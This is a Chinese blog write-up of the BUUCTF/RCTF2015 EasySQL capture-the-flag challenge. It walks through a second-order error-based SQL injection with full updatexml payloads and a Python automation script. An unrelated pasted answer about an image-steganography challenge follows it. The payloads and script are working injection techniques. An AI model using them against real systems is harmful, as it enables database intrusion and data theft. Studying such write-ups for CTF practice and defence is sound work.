BUUCTF:[RCTF2015]EasySQL

本文详细解析了BUUCTF中RCTF2015的EasySQL挑战,通过注册用户进行fuzz测试,发现并利用SQL注入漏洞,逐步揭示数据库结构,最终获取flag。介绍了使用updatexml和正则表达式技巧,逆序输出flag内容。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

BUUCTF:[RCTF2015]EasySQL
参考:https://www.cnblogs.com/peri0d/p/11599643.html
在这里插入图片描述
先注册一个用户
在这里插入图片描述
在注册的时候,fuzz测试发现在username和email中过滤了以下字符:

@
or
and
space(空格)
substr
mid
left
right
handle
没有源码慢慢测试.......

登录,发现还有个改密码
在这里插入图片描述
在注册时用户名加些测试字符进去,'mochu7"\
在这里插入图片描述
然后登录,在修改密码的时候,发现报错了,这样基本确定应该存在二次注入,在注册的时候写入,改密码的地方修改密码后触发导致错误输出,有错误回显就可以使用报错注入
在这里插入图片描述
猜测sql执行语句

select * from user where username=" 'mochu7"\ " and password=' 80f26dc7f48fc63a753d8f7d1b5bc507 '

构造payload

username=mochu7"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#

使用||代替or,把每个执行的部分使用括号来代替空格的区分作用
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
存在article,flag,users,flag表

username=mochu7"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))),1))#

这里有个坑,flag不在flag表中
在这里插入图片描述
在这里插入图片描述
查不出来值,真正的flag在users表中

username=mochu7"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#

在这里插入图片描述

username=mochu7"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1))#

regexp('^r')是MySql的正则,^r匹配开头是r的字段,也就是column_name=real_flag_1s_her
在这里插入图片描述
做到这里发现了输出长度限制

username=mochu7"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#

这里regexp('^f')的意思是查找字段中f开头的内容,其实就是在找flag{XXXX}

在这里插入图片描述
使用reverse()函数把flag逆序出来就可以看到后面的内容了

username=mochu7"||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#

在这里插入图片描述
也可以写个脚本来拿flag,自动化脚本如下:

import requests

url_reg = 'http://90ff4474-5dd7-447f-9a4e-54211f746fa2.node3.buuoj.cn/register.php'
url_log = 'http://90ff4474-5dd7-447f-9a4e-54211f746fa2.node3.buuoj.cn/login.php'
url_change = 'http://90ff4474-5dd7-447f-9a4e-54211f746fa2.node3.buuoj.cn/changepwd.php'

pre = 'mochu7"'
#逆序闭合
suf = "')))),1))#"

#正序闭合
#suf = "'))),1))#"

s = 'abcdefghijklmnopqrstuvwxyz1234567890'
s = list(s)

r = requests.session()

def register(name):
    data = {
        'username' : name,
        'password' : '123',
        'email' : '123',
    }
    r.post(url=url_reg, data=data)

def login(name):
    data = {
        'username' : name,
        'password' : '123',
    }
    r.post(url=url_log, data=data)
    
def changepwd():
    data = {
        'oldpass' : '',
        'newpass' : '',
    }
    kk = r.post(url=url_change, data=data)
    if 'XPATH' in kk.text:
        print(kk.text)

for i in s:
    #正序
    #paylaod = pre + "||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('" + i + suf
    #逆序
    paylaod = pre + "||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('" + i + suf
    register(paylaod)
    login(paylaod)
    changepwd()


#正序payload
#paylaod = pre + "||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('" + i + "'))),1))#"
#逆序payload
#paylaod = pre + "||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('" + i + "')))),1))#"

在这里插入图片描述

<think>好的,我现在要帮助用户解决BUUCTF中的“你竟然赶我走”隐写术挑战。用户提到他们尝试了stegsolve和010editor但没找到flag,可能flag藏在图片属性备注里。根据引用中的信息,特别是引用[4]提到有些题会直接把flag放在图片属性备注中,这可能是个关键线索。 首先,用户可能已经检查了常见的隐写方法,比如LSB、EXIF信息、文件结构分析,但没结果。这时候需要考虑更简单的地方,比如图片属性。特别是Windows右键属性里的备注或详细信息字段,可能直接包含flag,容易被忽略,因为通常认为题目会复杂些。 接下来,用户可能没有正确使用010editor的模板功能。引用[3]提到010editor的模板可以检测到未知的填充段,可能有隐藏数据。需要指导用户如何运行模板,查看是否有异常部分,比如unknownPadding或者其他非标准数据块。 另外,引用[4]提到高帧数GIF可能需要其他工具,但此题可能不是动图。不过,用户的问题中没有提到文件类型,可能需要确认是否为静态图片。如果是静态图,重点在属性;如果是动图,可能需要分帧检查。 用户可能还需要检查文件末尾是否有附加数据,比如用010editor查看十六进制,在文件末尾是否有可读字符串,或者使用strings命令提取文本。此外,尝试修改文件扩展名,看看是否是伪装的压缩包,但引用[2]提到密码可能在图片中,但用户可能已经尝试过。 综合来看,最可能的解决方案是检查图片属性中的备注,或使用010editor详细分析文件结构,特别是模板检测后的未知部分。需要一步步引导用户检查这些地方,避免复杂方法,回归基础步骤。</think>### BUUCTF“你竟然赶我走”隐写术解题思路 #### 解题步骤分析 1. **基础信息检查** - 右键查看图片属性,在「详细信息」或「备注」字段直接寻找flag(部分简单题目直接明文存储)[^4] - 使用Windows自带的文件属性检查工具,或通过命令行工具`exiftool`提取元数据 ```bash exiftool filename.jpg ``` 2. **010 Editor深度分析** - 使用模板解析文件结构(操作路径:工具栏「视图」>「模板结果显示」) - 重点关注以下异常部分: - **unknownPadding**:可能存在隐藏数据段[^3] - **文件末尾附加数据**:滚动到十六进制编辑器底部,检查是否有可读字符串或加密内容 - **文件头/尾异常**:例如实际文件类型与扩展名不符(如伪装成图片的压缩包) 3. **Stegsolve进阶检测** - 尝试所有通道组合(Red/Green/Blue/Alpha平面,LSB隐写等) - 若为灰度图,检查「Frame Browser」中的单帧数据 - 使用「Analyse」>「Data Extract」功能,勾选不同位平面组合导出数据 4. **隐藏文件提取** - 若发现文件末尾附加数据,可通过`dd`命令分离(示例): ```bash dd if=filename.jpg of=hidden_data.zip skip=<已知数据长度> bs=1 ``` - 尝试修改文件扩展名为`.zip`/`.rar`,检查是否包含加密压缩包(需结合引用[2]中的密码查找方法) #### 关键提示 - 本题可能直接通过**图片属性备注**或**文件末尾明文flag**解决,避免过度复杂化分析[^4] - 若使用上述方法未果,需考虑冷门隐写方式: - **DCT系数修改**(JPEG频域隐写) - **ID3标签隐写**(多见于音频文件,但部分图片元数据也可能利用) - **文本隐写**:通过`strings filename.jpg | grep "flag{"`快速检索
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

末 初

谢谢老板~感谢!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值